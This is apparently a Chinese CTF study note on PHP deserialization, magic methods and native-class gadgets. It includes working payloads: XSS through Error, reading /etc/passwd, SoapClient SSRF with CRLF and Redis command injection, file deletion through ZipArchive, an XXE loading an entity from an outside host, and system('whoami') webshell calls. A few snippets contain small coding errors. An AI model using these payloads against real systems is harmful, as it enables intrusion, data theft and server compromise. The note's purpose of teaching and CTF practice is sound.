PHP反序列化
php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
魔术方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| __construct(): 在创建对象时候初始化对象,一般用于对变量赋初值。 __destruct(): 和构造函数相反,当对象所在函数调用完毕后执行。 __call(): 当调用对象中不存在的方法会自动调用该方法。 __get(): 获取对象不存在的属性时执行此函数。 __set(): 设置对象不存在的属性时执行此函数。 __toString(): 当对象被当做一个字符串使用时调用。 __sleep(): 序列化对象之前就调用此方法(其返回需要一个数组) __wakeup(): 反序列化恢复对象之前调用该方法 __isset(): 在不可访问的属性上调用isset()或empty()触发 __unset(): 在不可访问的属性上使用unset()时触发 __invoke(): 将对象当作函数来使用时执行此方法 __clone(): 进行对象clone时被调用,用来调整对象的克隆行为 __autoload(): 尝试加载未定义的类 __debuginfo(): 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本 __callStatic(): 调用不可访问或不存在的静态方法时被调用 __set_state(): 当调用var_export()导出类时,此静态方法被调用。用“__set_state”的返回值做为var_export的返回值。
|
不同属性区别
1 2 3 4 5 6
| public 变量(公有) 直接将变量名反序列化出来 protected 变量(受保护) \x00 + * + \x00 + 变量名 private 变量(私有) \x00 + 类名 + \x00 + 变量名
|
__construct() & _destruct()
__construct
:构造函数,在实例化一个对象时,会被自动调用,可以作为非public权限属性的初始化
__destruct
:即析构函数,和构造函数相反,当对象销毁时会调用此方法,一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class CTF{ public $a="这里是__construct~~~"; public function __construct() { echo $this->a; } public function __destruct() { echo $this->a="这里是__destruct~~~"; }
} $a=new CTF(); ?>
|
运行结果
可以看到__destruct
这个方法会在__construct
执行后再执行,因此只要我们实例化了a,在它被销毁的时候(一般在程序结束时),这个函数中的变量就会自动调用,因此__destruct
这个方法在许多ctf题目中经常作为我们构建反序列化链(pop)的起始
__sleep() & _wakeup()
__sleep
:serialize()时会先检查是否有__sleep()并且是先执行sleep()再进行序列化
__wakeup
:当unserialize的时候,会检查时候存在wakeup()函数,如果存在 的话,会优先调用wakeup()函数再进行反序列化
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class CTF{ public $a; public function __destruct() { echo $this->a="这里是__destruct~~~"; } public function __sleep() { echo $this->a="这里是__sleep~~~" }
} $a=new CTF(); serialize($a);
|
可以看到,先执行sleep()再执行destruct()
但感觉sleep()相较于wakeup()比较不常见,毕竟几乎遇到的题目都是unserilize(),很少有serilize(),所以相比之下,wakeup()出现的频率就很高了。
经常会考察wakeup()的绕过,关于wakeup绕过的几种方法,之前已经总结过了php反序列化之wakeup()绕过 - Hey
__get ()& _set()
__get
:对不可访问属性或不存在属性进行 访问引用时自动调用
__set
:对不可访问属性或不存在属性进行 写入时自动调用
这两者区别在于一个是“访问”一个是“写入”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class CTF{ public $username='admin'; private $password='admin'; public function __get($name){ echo "这里是__get~~~\n"; }
public function __set($name,$value){ echo "这里是__set~~~\n"; }
}
$a = new CTF(); $a->password; $a->password='123456'; ?>
|
分别触发了__get()
和__set()
方法
__call() & _callstatic()
__call
:对象执行类不存在的方法时会自动调用__call
方法
__callstatic
:直接执行类不存在的方法时会自动调用__callstatic
方法
与__get ()& _set()的区别是:get ()和 set()方法触发的对象是“属性”;而 call() 和 callstatic()触发对象是“方法”
直接执行类是指在没有实例化对象的情况下,直接访问类的静态成员和静态方法。例如:
1 2 3 4 5 6 7 8 9
| class MyClass { public static $myStaticVar = "Hello"; public static function myStaticMethod() { echo "Static method called"; } } echo MyClass::$myStaticVar; MyClass::myStaticMethod();
|
在上面的例子中,我们没有创建MyClass的对象,而是直接访问了它的静态成员和静态方法。
对象执行类是指在实例化对象后,通过对象来访问类的成员和方法。例如:
1 2 3 4 5 6 7 8 9 10
| class MyClass { public $myVar = "World"; public function myMethod() { echo "Method called"; } } $obj = new MyClass(); echo $obj->myVar; $obj->myMethod();
|
在上面的例子中,我们创建了MyClass的对象$obj,并通过$obj来访问它的成员和方法。
接着就这两个魔术方法,举个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class CTF{ public function __call($method,$args){ echo '不存在'.$method.'方法(__call)'; }
public function __callstatic($method,$args){ echo '这里是__callstatic~~~'; } }
$a = new CTF(); $a->Hey(); CTF::Hey();
|
__isset ()& _unset()
__isset
:在不可访问的属性上使用inset()
时触发
__unset
:在不可访问的属性上使用unset()
时触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class test{ public $username='admin'; private $password='admin888';
function __isset($name){ echo "这里是__isset~~~\n"; } function __unset($name){ echo "这里是__unset~~~\n"; } }
$a = new test(); isset($a->password); unset($a->psd);
|
感觉在ctf中还是少见到这两种方法的
__invoke()
__invoke()
:当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class CTF{
public function __invoke(){ echo "这里是__invoke~~~"; } } class ONE{ public $web1; public function __destruct() { ($this->web1)(); } } $a = new CTF(); $b = new ONE(); $b->web1 = $a;
|
这里用ONE类中的($this->web1)();去触发CTF类中的__invoke()方法。
__toString
__toString()
:在类的对象被当作字符串操作的时候自动被调用(例如:echo $this->web1 . ‘哈哈哈哈’)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class CTF{
public function __toString(){ return "这里是__toString~~~"; } } class ONE{ public $web1; public function __destruct(){ echo $this->web1 . "哈哈哈哈哈"; } } $a = new CTF(); $b = new ONE(); $b->web1 = $a;
|
这里用ONE类中的echo $this->web1 . “哈哈哈哈哈”;去触发CTF类中的__toSting()方法。
原生类
这个部分是看了朋友的总结再来写的,PHP原生类 | b1xcy’s blog
写得太好啦!一看就懂,这里我也简单记录一下
原生类,顾名思义就是自带的类,不需要事前进行class定义。
例如愚人杯中的那个被遗忘的反序列化,非预期就是原生类
部分代码:
1 2 3
| if(isset($this->name)){ $a = new $this->coos($this->file); echo $a;
|
这里的new的类(coos)和向类中传递的参数(file)都可以自定义,就可以用原生类
Error和Exception
Exception
类适用于PHP 5和7,
而 Error
只适用于 PHP 7。
Error类属性:
- message:错误消息内容
- code:错误代码
- file:抛出错误的文件名
- line:抛出错误在该文件中的行数
Exception类属性:
- message:异常消息内容
- code:异常代码
- file:抛出异常的文件名
- line:抛出异常在该文件中的行号
Error类方法:
Error::__construct
— 初始化 error 对象
Error::getMessage
— 获取错误信息
Error::getPrevious
— 返回先前的 Throwable
Error::getCode
— 获取错误代码
Error::getFile
— 获取错误发生时的文件
Error::getLine
— 获取错误发生时的行号
Error::getTrace
— 获取调用栈(stack trace)
Error::getTraceAsString
— 获取字符串形式的调用栈(stack trace)
Error::__toString
— error 的字符串表达
Error::__clone
— 克隆 error
Exception类方法:
Exception::__construct
— 异常构造函数
Exception::getMessage
— 获取异常消息内容
Exception::getPrevious
— 返回异常链中的前一个异常
Exception::getCode
— 获取异常代码
Exception::getFile
— 创建异常时的程序文件名称
Exception::getLine
— 获取创建的异常所在文件中的行号
Exception::getTrace
— 获取异常追踪信息
Exception::getTraceAsString
— 获取字符串类型的异常追踪信息
Exception::__toString
— 将异常对象转换为字符串
Exception::__clone
— 异常克隆
这两个类中都内置了__toString()方法,这个方法用于将异常或错误对象转换为字符串。
XSS利用
1 2
| $a = new Error("<script>alert('xss')</script>"); echo $a;
|
执行代码就能把构造好的xss直接拼接到html中,造成xss攻击
绕过哈希比较
同时也能用来绕过哈希比较啊
1 2 3
| <?php $a = new Error("payload",1); echo $a;
|
在使用类中的__toString()方法时,向Error中传入的1并不会显示,这说明在字符串操作时候,只要传入的“payload”相同,即视为该字符串相同。
即便两者的字符串是完全一致的,但是进行var_dump比对时,两者的值却不相同。
所以可以利用这个,在特定的环境下绕过比较
1
| if($this->a != $this->b && sha1($this->a) === sha1($this->b))
|
payload:
1
| $this->a = new Error("payload",1);$this->b = new Error("payload",2);
|
buuctf的[2020极客大挑战] Ereatphp 就可以使用该方式
Directorylterator和Filesystemlterator
DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。FilesystemIterator 类与DirectoryIterator 类相同。
1 2 3 4 5 6 7
| <?php $dir = $_GET['a']; $a = new DirectoryIterator($dir); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
|
传入/?a=glob:///*
即可查看根目录下的所有文件(将无视open_basedir
对目录的限制,可以用来列举出指定目录下的文件。)
如果不用foreach就只能查看第一个文件
但传入/?a=glob:///*f*
就可以通过通配符及正则匹配指定判断是否有文件名包含f的文件
例如,像愚人杯那道题那样
1 2 3
| if(isset($this->name)){ $a = new $this->coos($this->file); echo $a;
|
这里的new的类(coos)和向类中传递的参数(file)都可以自定义,就可以通过通配符及正则匹配指定判断是否有某些文件
1 2
| $a->file="glob:///*f*"; $a->coos="DirectoryIterator";
|
Globlterator
与Directorylterator和Filesystemlterator类似,
不过这个查找文件时不需要搭配glob://
伪协议使用,直接传入路径即可
即:
1 2
| $a->file="/*f*"; $a->coos="GlobIterator";
|
SplFileObject
可以利用该类读取文件的一行
1 2 3
| <?php $context = new SplFileObject('/etc/passwd'); echo $context;
|
例如,愚人杯那道题,知道了有个f1agaaa文件后,可以用该类查看内容
1 2 3
| if(isset($this->name)){ $a = new $this->coos($this->file); echo $a;
|
1 2
| $a->file="/f1agaaa"; $a->coos="SplFileObject";
|
SoapClient
如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项
常用于ssrf中,因为它内置了一个__call方法,触发该方法之后可以发送http和https请求。
1
| public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
|
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
下面直接搬一下大佬的解释
则可以构造:
1 2 3 4
| <?php $a = new SoapClient(null,array('location'=>'http://192.168.255.129:1234/aaa', 'uri'=>'http://192.168.255.129:1234')); $a->a(); ?>
|
在192.168.255.129上给一个1234的监听,可以接收到:
1 2 3 4 5 6 7 8 9 10
| POST /aaa HTTP/1.1 Host: 192.168.255.129:1234 Connection: Keep-Alive User-Agent: PHP-SOAP/8.2.0 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://192.168.255.129:1234#a" Content-Length: 388
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.255.129:1234" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
如果HTTP头存在CRLF漏洞,就可以通过SSRF+CRLF插入任意HTTP头。
payload:
1 2 3 4 5
| <?php $target = 'http://192.168.255.129:1234'; $a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=test", 'uri' => 'test')); $a->a(); ?>
|
成功插入cookie:
1 2 3 4 5 6 7 8 9 10 11 12
| POST / HTTP/1.1 Host: 192.168.255.129:1234 Connection: Keep-Alive User-Agent: WHOAMI Cookie: PHPSESSID=test Content-Type: text/xml; charset=utf-8 SOAPAction: "test#a" Content-Length: 365
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
同理,还可以插入Redis命令:
1 2 3 4 5
| <?php $target = 'http://192.168.255.129:1234'; $a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCONFIG SET dir /var/www/html", 'uri' => 'test')); $a->a(); ?>
|
也可以发送POST数据包,但是要设置Content-Type
为application/x-www-form-urlencoded
。
由于Content-Type
的位置在UA底下,就可以通过类中的UA插入Content-Type
,把原来的挤到地下作为POST内容
payload:
1 2 3 4 5 6 7 8 9 10 11
| <?php $target = 'http://192.168.255.129:1234'; $poc = "CONFIG SET dir /var/www/html"; $post_data = 'data=whoami'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=Cookie' ); $a = new SoapClient(null,array('location' => $target,'user_agent'=>"UA\n\rContent-Type: application/x-www-form-urlencoded\n\r".join("\n\r",$headers)."\n\rContent-Length: ". (string)strlen($post_data)."\n\r\n\r".$post_data,'uri'=>'test')); $a->a(); ?>
|
ZipArchive
PHP ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理。
类下有个open方法,可以打开一个新的或现有的zip文档进行读取.
1
| ZipArchive::open ( string $filename [, int $flags ] ) : mixed
|
flags可以指定开打的模式:
ZipArchive::OVERWRITE
:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE
:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY
:只读模式打开压缩包。
ZipArchive::EXCL
:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS
:对压缩包执行额外的一致性检查,如果失败则显示错误。
如果指定flags为ZipArchive::OVERWRITE
,就可以把指定文件删除。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE
的话,可以把指定文件删除。
也就是说我们可以利用ZipArchive原生类调用open方法删除目标主机上的文件。
1 2 3 4
| $a = new ZipArchive(); $a->open('1.txt',ZipArchive::OVERWRITE); // ZipArchive::OVERWRITE: 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖 // 因为没有保存,所以效果就是删除了1.txt
|
SimpleXMLElement
SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct
的定义如下:
1 2 3 4 5 6 7
| public SimpleXMLElement::__construct( string $data, int $options = 0, bool $dataIsURL = false, string $namespaceOrPrefix = "", bool $isPrefix = false )
|
其中值得注意的是$data
和$data_is_url
这个两个参数:
$data
:格式正确的XML字符串,或者XML文档的路径或URL(如果$data_is_url
为true)。
$data_is_url
:默认情况下$data_is_url
为false。使用true指定$data
的路径或URL到一个XML文件,而不是字符串数据。
可以看到通过设置第三个参数 $data_is_url
为 true
,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2
即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
example:
1 2 3 4 5 6 7 8 9 10 11
| <?php $xml = <<<EOF <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE ANY [ <!ENTITY % remote SYSTEM "http://t6n089.ceye.io">%remote;]> ]> <x>&xee</x> EOF; $xml_class = new SimpleXMLElement($xml, LIBXML_NOENT); var_dump($xml_class); ?>
|
一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区
Reflection反射类
ReflectionMethod
该类中有个getDocComment()
方法,可以获得类中函数的注释内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class FlagIsHere {
protected function GiveMeFlag() { return 9999; } } $ref = new ReflectionMethod('FlagIsHere','GiveMeFlag'); var_dump($ref->getDocComment());
|
ReflectionClass
能显示出类中的属性和方法:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php highlight_file(__FILE__); class F{ protected $pro; private $pri; protected function get(){ echo 'pro'; } } $ref = new ReflectionClass('F'); echo $ref; ?>
|
ReflectionFunction
ReflectionFunction 类报告了一个函数的有关信息。其中invokeArgs()
方法能够用来写Webshell。
1 2 3 4 5 6
| <?php $a = "system"; $b = "whoami"; $func = new ReflectionFunction($a); echo $func->invokeArgs(array($b)); ?>
|
动态调用
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
当给一个函数名赋值给一个变量时,可以通过调用这个变量来调用这个函数。
例如:
1 2 3 4 5
| <?php $a = "system"; $b = "whoami"; ($a)($b); ?>
|
这样相当于直接执行了system(whoami)
命令。
同理:
1 2 3 4 5 6 7 8 9 10 11
| <?php class Hey{ public function sys($exec){ system($exec); } } $n = new Hey(); $a = array($n,"sys"); $b = "whoami"; $a($b); ?>
|
反序列化字符逃逸
参考:https://xz.aliyun.com/t/9213
原理:PHP在反序列化时,是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且在字符串内,是以关键字后面的数字来规定所读取的内容 。所以我们可以人为地修改反序列化字符串,构造出合适的payload来达到字符逃逸的效果
场景:通常通过preg_replace()
、str_replace
等函数来进行字符串的长度的修改
例如:
1 2 3 4 5 6 7 8 9 10
| function safe($parm) { $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter"); return str_replace($array, 'hacker', $parm); }
function filter($a){ $filter='/qq/i'; return preg_replace($filter,'w',$a); }
|
字符串增多
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class A{ public $a='qqqqqqq'; public $b='21';
}function filter($a){ $filter='/q/i'; return preg_replace($filter,'ww',$a); } $a=new A; var_dump(serialize($a)); $r=filter(serialize($a)); var_dump($r);
|
通过运行以下代码可以知道,当经过filter替换后的payload明显是不能用的,因为序列化的长度不对应7:"wwwwwwwwwwwwww"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class A{ public $a='qqqqqqq'; public $b='21';
}function filter($a){ $filter='/q/i'; return preg_replace($filter,'ww',$a); }
$out='O:1:"A":2:{s:1:"a";s:7:"wwwwwwwwwwwwww";s:1:"b";s:2:"21";}';
var_dump(unserialize($out)); ?>
|
但我们可以通过字符逃逸来达到正确的效果,甚至可以修改原有参数值和添加反序列化类中不存在的属性
例如我们想让$b=114
同时添加一个属性$c=514
,那么我们需要构造:
1
| ";s:1:"b";s:3:"114";s:1:"c";s:3:"514";} //这里开头的";用来闭合前面
|
然后先将其拼接在$a
的后面看看输出
1
| O:1:"A":2:{s:1:"a";s:46:"qqqqqqq";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}";s:1:"b";s:2:"21";}
|
当然这时候还是不能成功逃逸的,可以想一下
如果我们把s:28
后面的内容以字符串按要求填满了46个,那么";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}
就会执行。而}”
后面的内容,即;s:1:"b";s:2:"21";}"
就不会执行了,从而达到了逃逸的目的。
也就是说让替换后的字符w填满后,我们构造的字符就能成功逃逸
而在filter函数中,一个q被换成了两个w,所以让q的数量等于";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}
的字符串长度就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class A{ public $a='qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}'; public $b='21';
}function filter($a){ $filter='/q/i'; return preg_replace($filter,'ww',$a); } $a=new A; var_dump(serialize($a)); $r=filter(serialize($a)); var_dump($r);
?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php class A{ public $a='qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}'; public $b='21';
}function filter($a){ $filter='/q/i'; return preg_replace($filter,'ww',$a); }
$out='O:1:"A":3:{s:1:"a";s:78:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}";s:1:"b";s:2:"21";}'; var_dump(unserialize($out)); ?>
|
字符串减少
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class A{ public $a='qqqqqqqqqqqqqqqqqqqqqqqqqq'; public $b='20';
} function filter($a){ $filter='/qq/i'; return preg_replace($filter,'w',$a); } $a=new A; var_dump(serialize($a)); $r=filter(serialize($a)); var_dump($r);
|
和增加的情况差不多,只不过这次是减少
1
| a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";} //这里的a用来闭合
|
然后赋值
1
| $b='a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}'
|
1
| O:1:"A":2:{s:1:"a";s:26:"wwwwwwwwwwwww";s:1:"b";s:40:"a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}";
|
接下来只需要p的长度为";s:1:"b";s:40:"a
的两倍,然后缩短为w后就可以将";s:1:"b";s:40:"a
与w一起解析为字符串,从而逃逸出我们想构造的字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class A{ public $a='qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq'; public $b='a";s:1:"b";s:3:"114";s:1:"c";s:3:"514";}';
} function filter($a){ $filter='/qq/i'; return preg_replace($filter,'w',$a); } $a=new A; var_dump(serialize($a)); $r=filter(serialize($a)); var_dump($r);
|